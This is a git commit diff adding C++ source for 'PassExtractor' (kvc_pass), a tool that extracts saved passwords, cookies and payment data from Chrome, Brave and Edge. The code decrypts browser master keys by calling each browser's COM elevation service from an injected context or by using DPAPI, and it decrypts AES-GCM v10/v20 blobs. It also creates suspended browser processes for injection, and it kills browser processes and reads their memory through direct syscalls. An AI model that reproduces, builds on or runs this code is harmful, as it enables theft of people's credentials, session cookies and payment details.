Aktualizacja: 2025-09-30 15:30:24

This commit is contained in:
wesmar
2025-09-30 15:30:24 +02:00
parent 2d75f86142
commit aa3dd56fe2
55 changed files with 3813 additions and 3419 deletions

BIN
images/kvc_00.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

View File

@@ -9,6 +9,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvc\KvcXor.vcxproj", "{A905154D-F1EC-4821-9717-9F6D35F69F3F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|x64 = Release|x64
@@ -20,6 +22,8 @@ Global
{87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64
{12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64
{12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.ActiveCfg = Release|x64
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

397
kvc/BrowserCrypto.cpp Normal file
View File

@@ -0,0 +1,397 @@
// BrowserCrypto.cpp - Browser-specific cryptographic operations
// Implements selective COM/DPAPI strategy based on browser and data type
#include "BrowserCrypto.h"
#include "CommunicationModule.h"
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>
#include <fstream>
#include <sstream>
#include <stdexcept>
#include <algorithm>
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
namespace SecurityComponents
{
namespace Browser
{
// Browser-specific configuration database
// Contains COM CLSIDs, IIDs, and file paths for each supported browser
const std::unordered_map<std::string, Config>& GetConfigs()
{
static const std::unordered_map<std::string, Config> browser_configs = {
{"chrome", {"Chrome", L"chrome.exe",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
fs::path("Google") / "Chrome" / "User Data"}},
{"brave", {"Brave", L"brave.exe",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
{"edge", {"Edge", L"msedge.exe",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
fs::path("Microsoft") / "Edge" / "User Data"}}
};
return browser_configs;
}
// Determines browser configuration based on current process executable name
Config GetConfigForCurrentProcess()
{
char exePath[MAX_PATH] = {0};
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string processName = fs::path(exePath).filename().string();
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
const auto& configs = GetConfigs();
if (processName == "chrome.exe") return configs.at("chrome");
if (processName == "brave.exe") return configs.at("brave");
if (processName == "msedge.exe") return configs.at("edge");
throw std::runtime_error("Unsupported host process: " + processName);
}
}
namespace Crypto
{
// Encryption scheme identifier prefixes
const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'};
const std::string V10_PREFIX = "v10";
const std::string V20_PREFIX = "v20";
// RAII wrapper for BCrypt algorithm handle
class BCryptAlgorithm
{
public:
BCryptAlgorithm() {
BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0);
}
~BCryptAlgorithm() {
if (handle) BCryptCloseAlgorithmProvider(handle, 0);
}
operator BCRYPT_ALG_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_ALG_HANDLE handle = nullptr;
};
// RAII wrapper for BCrypt key handle
class BCryptKey
{
public:
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
{
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
const_cast<PUCHAR>(key.data()),
static_cast<ULONG>(key.size()), 0);
}
~BCryptKey() {
if (handle) BCryptDestroyKey(handle);
}
operator BCRYPT_KEY_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_KEY_HANDLE handle = nullptr;
};
// Decrypts AES-GCM encrypted data using provided key
// Supports both v10 and v20 encryption schemes
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
{
std::string detectedPrefix;
size_t prefixLength = 0;
// Detect encryption scheme version
if (blob.size() >= 3)
{
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
{
detectedPrefix = V10_PREFIX;
prefixLength = V10_PREFIX.length();
}
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
{
detectedPrefix = V20_PREFIX;
prefixLength = V20_PREFIX.length();
}
else
{
return {};
}
}
else
{
return {};
}
// Validate blob size
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob.size() < GCM_OVERHEAD_LENGTH)
return {};
// Initialize AES-GCM decryption
BCryptAlgorithm algorithm;
if (!algorithm.IsValid())
return {};
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCryptKey cryptoKey(algorithm, key);
if (!cryptoKey.IsValid())
return {};
// Extract IV, ciphertext, and authentication tag
const uint8_t* iv = blob.data() + prefixLength;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
// Configure authenticated cipher mode
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = const_cast<PUCHAR>(iv);
authInfo.cbNonce = GCM_IV_LENGTH;
authInfo.pbTag = const_cast<PUCHAR>(tag);
authInfo.cbTag = GCM_TAG_LENGTH;
// Perform decryption
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
ULONG outLen = 0;
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()),
&outLen, 0);
if (!NT_SUCCESS(status))
return {};
plain.resize(outLen);
return plain;
}
// Extracts encrypted master key from browser's Local State file
// Handles both APPB (COM) and DPAPI blob formats
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
throw std::runtime_error("Could not open Local State file.");
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
// Search for encrypted key in JSON
std::string tag = "\"app_bound_encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos) {
tag = "\"encrypted_key\":\"";
pos = content.find(tag);
if (pos == std::string::npos)
throw std::runtime_error("Encrypted key not found in Local State.");
}
pos += tag.length();
size_t end_pos = content.find('"', pos);
if (end_pos == std::string::npos)
throw std::runtime_error("Malformed encrypted key format.");
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
if (!optDecoded)
throw std::runtime_error("Base64 decoding of encrypted key failed.");
auto& decodedData = *optDecoded;
// Check for APPB prefix (COM-encrypted key)
if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) &&
memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0)
{
return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()};
}
// Check for DPAPI blob header (0x01000000)
else if (decodedData.size() >= 4 &&
decodedData[0] == 0x01 && decodedData[1] == 0x00 &&
decodedData[2] == 0x00 && decodedData[3] == 0x00)
{
return decodedData;
}
else
{
throw std::runtime_error("Unknown key format - not APPB or DPAPI blob.");
}
}
}
BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
fs::path BrowserManager::getUserDataRoot() const
{
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
}
MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {}
MasterKeyDecryptor::~MasterKeyDecryptor()
{
if (m_comInitialized)
{
CoUninitialize();
}
}
// Decrypts master key using browser's COM elevation service
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config,
const std::vector<uint8_t>& encryptedKeyBlob)
{
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
static_cast<UINT>(encryptedKeyBlob.size()));
if (!bstrEncKey)
throw std::runtime_error("Failed to allocate BSTR for encrypted key.");
BSTR bstrPlainKey = nullptr;
HRESULT hr = E_FAIL;
DWORD comErr = 0;
// Edge uses different COM interface than Chrome/Brave
if (config.name == "Edge")
{
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
else
{
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
SysFreeString(bstrEncKey);
// Validate decryption result
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
{
if (bstrPlainKey) SysFreeString(bstrPlainKey);
std::ostringstream oss;
oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x"
<< std::hex << hr;
throw std::runtime_error(oss.str());
}
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
SysFreeString(bstrPlainKey);
return aesKey;
}
// Decrypts master key using Windows DPAPI
// Used for Edge passwords when orchestrator provides pre-decrypted key
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath)
{
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
DATA_BLOB inputBlob = {
static_cast<DWORD>(encryptedKeyBlob.size()),
encryptedKeyBlob.data()
};
DATA_BLOB outputBlob = {};
BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob);
if (!result)
{
DWORD error = GetLastError();
std::ostringstream oss;
oss << "DPAPI decryption failed. Error: 0x" << std::hex << error;
m_logger.Log("[-] " + oss.str());
throw std::runtime_error(oss.str());
}
std::vector<uint8_t> aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
LocalFree(outputBlob.pbData);
if (aesKey.size() != Crypto::KEY_SIZE)
{
std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) +
", expected: " + std::to_string(Crypto::KEY_SIZE);
m_logger.Log("[-] " + errMsg);
throw std::runtime_error(errMsg);
}
return aesKey;
}
// Main decryption entry point - selects strategy based on browser and data type
std::vector<uint8_t> MasterKeyDecryptor::Decrypt(const Browser::Config& config,
const fs::path& localStatePath,
DataType dataType)
{
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
// Edge passwords use DPAPI without process requirement
if (config.name == "Edge" && dataType == DataType::Passwords)
{
m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)");
auto aesKey = DecryptWithDPAPI(localStatePath);
m_logger.Log("[+] Edge DPAPI decryption successful for passwords");
return aesKey;
}
else
{
// All other scenarios use COM elevation
std::string dataTypeStr = "data";
switch (dataType) {
case DataType::Cookies: dataTypeStr = "cookies"; break;
case DataType::Payments: dataTypeStr = "payments"; break;
case DataType::Passwords: dataTypeStr = "passwords"; break;
default: dataTypeStr = "data"; break;
}
m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr);
if (!m_comInitialized)
{
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
{
throw std::runtime_error("Failed to initialize COM library.");
}
m_comInitialized = true;
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
}
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
auto aesKey = DecryptWithCOM(config, encryptedKeyBlob);
m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr);
return aesKey;
}
}
}

123
kvc/BrowserCrypto.h Normal file
View File

@@ -0,0 +1,123 @@
// BrowserCrypto.h - Cryptographic operations and browser-specific configurations
// Implements selective decryption strategy for different data types and browsers
#ifndef BROWSER_CRYPTO_H
#define BROWSER_CRYPTO_H
#include <Windows.h>
#include <vector>
#include <string>
#include <filesystem>
#include <unordered_map>
namespace fs = std::filesystem;
namespace SecurityComponents
{
class PipeLogger;
// Data type enumeration for selective decryption strategy
enum class DataType {
Passwords, // Use DPAPI for Edge passwords (no process required)
Cookies, // Use COM elevation for browser cookies
Payments, // Use COM elevation for payment information
All // Default behavior - use appropriate method per browser
};
// Browser-specific configuration and COM interface definitions
namespace Browser
{
struct Config
{
std::string name;
std::wstring processName;
CLSID clsid;
IID iid;
fs::path userDataSubPath;
};
const std::unordered_map<std::string, Config>& GetConfigs();
Config GetConfigForCurrentProcess();
}
// Cryptographic operations for AES-GCM decryption and key management
namespace Crypto
{
constexpr size_t KEY_SIZE = 32;
constexpr size_t GCM_IV_LENGTH = 12;
constexpr size_t GCM_TAG_LENGTH = 16;
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob);
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath);
}
class BrowserManager
{
public:
BrowserManager();
const Browser::Config& getConfig() const noexcept { return m_config; }
fs::path getUserDataRoot() const;
private:
Browser::Config m_config;
};
// Master key decryptor with selective strategy per data type
class MasterKeyDecryptor
{
public:
explicit MasterKeyDecryptor(PipeLogger& logger);
~MasterKeyDecryptor();
// Main decryption interface - intelligently chooses COM or DPAPI
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All);
private:
PipeLogger& m_logger;
bool m_comInitialized = false;
std::vector<uint8_t> DecryptWithCOM(const Browser::Config& config, const std::vector<uint8_t>& encryptedKeyBlob);
std::vector<uint8_t> DecryptWithDPAPI(const fs::path& localStatePath);
};
}
// COM interface definitions
enum class ProtectionLevel
{
None = 0,
PathValidationOld = 1,
PathValidation = 2,
Max = 3
};
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
#endif // BROWSER_CRYPTO_H

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,207 @@
// BrowserProcessManager.cpp - Browser process management and cleanup operations
#include "BrowserProcessManager.h"
#include "syscalls.h"
#include <stdexcept>
#ifndef IMAGE_FILE_MACHINE_AMD64
#define IMAGE_FILE_MACHINE_AMD64 0x8664
#endif
#ifndef IMAGE_FILE_MACHINE_I386
#define IMAGE_FILE_MACHINE_I386 0x014c
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// Handle cleanup using direct syscall
void HandleDeleter::operator()(HANDLE h) const noexcept
{
if (h && h != INVALID_HANDLE_VALUE)
NtClose_syscall(h);
}
// Constructor initializes target process context
TargetProcess::TargetProcess(const Configuration& config, const Console& console)
: m_config(config), m_console(console) {}
// Creates suspended browser process for safe injection
void TargetProcess::createSuspended()
{
m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process.");
m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath));
STARTUPINFOW si{};
PROCESS_INFORMATION pi{};
si.cb = sizeof(si);
if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr,
FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi))
throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError()));
m_hProcess.reset(pi.hProcess);
m_hThread.reset(pi.hThread);
m_pid = pi.dwProcessId;
m_console.Debug("Created suspended process PID: " + std::to_string(m_pid));
checkArchitecture();
}
// Terminates target process via direct syscall
void TargetProcess::terminate()
{
if (m_hProcess)
{
m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall.");
NtTerminateProcess_syscall(m_hProcess.get(), 0);
m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator.");
}
}
// Validates matching x64 architecture
void TargetProcess::checkArchitecture()
{
USHORT processArch = 0, nativeMachine = 0;
auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(
GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2");
if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine))
throw std::runtime_error("Failed to determine target process architecture.");
m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch;
constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64;
if (m_arch != orchestratorArch)
throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " +
std::string(getArchName(m_arch)));
m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch)));
}
// Returns human-readable architecture name
const char* TargetProcess::getArchName(USHORT arch) const noexcept
{
switch (arch)
{
case IMAGE_FILE_MACHINE_AMD64: return "x64";
case IMAGE_FILE_MACHINE_I386: return "x86";
default: return "Unknown";
}
}
// Terminates all browser processes matching the target executable name
void KillBrowserProcesses(const Configuration& config, const Console& console)
{
console.Debug("Terminating all browser processes to release file locks...");
UniqueHandle hCurrentProc;
HANDLE nextProcHandle = nullptr;
int processes_terminated = 0;
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
0, 0, &nextProcHandle)))
{
UniqueHandle hNextProc(nextProcHandle);
hCurrentProc = std::move(hNextProc);
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
imageName, (ULONG)buffer.size(), NULL)) ||
imageName->Length == 0)
continue;
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
continue;
PROCESS_BASIC_INFORMATION pbi{};
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
&pbi, sizeof(pbi), nullptr)) ||
!pbi.PebBaseAddress)
continue;
console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
processes_terminated++;
}
if (processes_terminated > 0)
{
console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release.");
Sleep(2000);
}
}
// Terminates browser network service processes that hold database locks
void KillBrowserNetworkService(const Configuration& config, const Console& console)
{
console.Debug("Scanning for and terminating browser network services...");
UniqueHandle hCurrentProc;
HANDLE nextProcHandle = nullptr;
int processes_terminated = 0;
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,
0, 0, &nextProcHandle)))
{
UniqueHandle hNextProc(nextProcHandle);
hCurrentProc = std::move(hNextProc);
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName,
imageName, (ULONG)buffer.size(), NULL)) ||
imageName->Length == 0)
continue;
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
continue;
PROCESS_BASIC_INFORMATION pbi{};
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation,
&pbi, sizeof(pbi), nullptr)) ||
!pbi.PebBaseAddress)
continue;
PEB peb{};
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
continue;
RTL_USER_PROCESS_PARAMETERS params{};
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, &params, sizeof(params), nullptr)))
continue;
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
if (params.CommandLine.Length > 0 &&
!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer,
cmdLine.data(), params.CommandLine.Length, nullptr)))
continue;
if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService"))
{
console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId));
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
processes_terminated++;
}
}
if (processes_terminated > 0)
{
console.Debug("Termination sweep complete. Waiting for file locks to fully release.");
Sleep(1500);
}
}
// Checks if Windows native SQLite library is available
bool CheckWinSQLite3Available()
{
HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll");
if (hWinSQLite)
{
FreeLibrary(hWinSQLite);
return true;
}
return false;
}

View File

@@ -0,0 +1,52 @@
// BrowserProcessManager.h - Browser process lifecycle and cleanup management
#ifndef BROWSER_PROCESS_MANAGER_H
#define BROWSER_PROCESS_MANAGER_H
#include <Windows.h>
#include "OrchestratorCore.h"
#include "CommunicationLayer.h"
// RAII wrapper for Windows handle management with syscall-based cleanup
struct HandleDeleter
{
void operator()(HANDLE h) const noexcept;
};
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
// Manages target browser process lifecycle
class TargetProcess
{
public:
TargetProcess(const Configuration& config, const Console& console);
// Creates browser process in suspended state for injection
void createSuspended();
// Terminates the target process using direct syscall
void terminate();
HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); }
private:
// Validates architecture compatibility between orchestrator and target
void checkArchitecture();
const char* getArchName(USHORT arch) const noexcept;
const Configuration& m_config;
const Console& m_console;
DWORD m_pid = 0;
UniqueHandle m_hProcess;
UniqueHandle m_hThread;
USHORT m_arch = 0;
};
// Terminates all running browser processes to release database file locks
void KillBrowserProcesses(const Configuration& config, const Console& console);
// Terminates browser network service which often holds database locks
void KillBrowserNetworkService(const Configuration& config, const Console& console);
// Checks availability of Windows native SQLite library
bool CheckWinSQLite3Available();
#endif // BROWSER_PROCESS_MANAGER_H

463
kvc/CommunicationLayer.cpp Normal file
View File

@@ -0,0 +1,463 @@
// CommunicationLayer.cpp - Console and pipe communication implementation
#include "CommunicationLayer.h"
#include "syscalls.h"
#include <ShlObj.h>
#include <Rpc.h>
#include <iostream>
#include <algorithm>
#pragma comment(lib, "Rpcrt4.lib")
constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// Utility function implementations
namespace Utils
{
std::string u8string_to_string(const std::u8string& u8str) noexcept
{
return {reinterpret_cast<const char*>(u8str.c_str()), u8str.size()};
}
std::string path_to_api_string(const fs::path& path)
{
return u8string_to_string(path.u8string());
}
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
std::string WStringToUtf8(std::wstring_view w_sv)
{
if (w_sv.empty()) return {};
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
nullptr, 0, nullptr, nullptr);
std::string utf8_str(size_needed, '\0');
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
&utf8_str[0], size_needed, nullptr, nullptr);
return utf8_str;
}
std::string PtrToHexStr(const void* ptr) noexcept
{
std::ostringstream oss;
oss << "0x" << std::hex << reinterpret_cast<uintptr_t>(ptr);
return oss.str();
}
std::string NtStatusToString(NTSTATUS status) noexcept
{
std::ostringstream oss;
oss << "0x" << std::hex << status;
return oss.str();
}
std::wstring GenerateUniquePipeName()
{
UUID uuid;
UuidCreate(&uuid);
wchar_t* uuidStrRaw = nullptr;
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw);
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
return pipeName;
}
std::string Capitalize(const std::string& str)
{
if (str.empty()) return str;
std::string result = str;
result[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(result[0])));
return result;
}
}
// Console implementation
Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
{
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
m_originalAttributes = consoleInfo.wAttributes;
}
void Console::displayBanner() const
{
SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
std::cout << "PassExtractor x64 | 1.0.1 by WESMAR\n\n";
ResetColor();
}
void Console::printUsage() const
{
SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L"Usage:\n"
<< L" kvc_pass.exe [options] <chrome|brave|edge|all>\n\n"
<< L"Options:\n"
<< L" --output-path|-o <path> Directory for output files (default: .\\output\\)\n"
<< L" --verbose|-v Enable verbose debug output from the orchestrator\n"
<< L" --help|-h Show this help message\n\n"
<< L"Browser targets:\n"
<< L" chrome - Extract from Google Chrome\n"
<< L" brave - Extract from Brave Browser\n"
<< L" edge - Extract from Microsoft Edge\n"
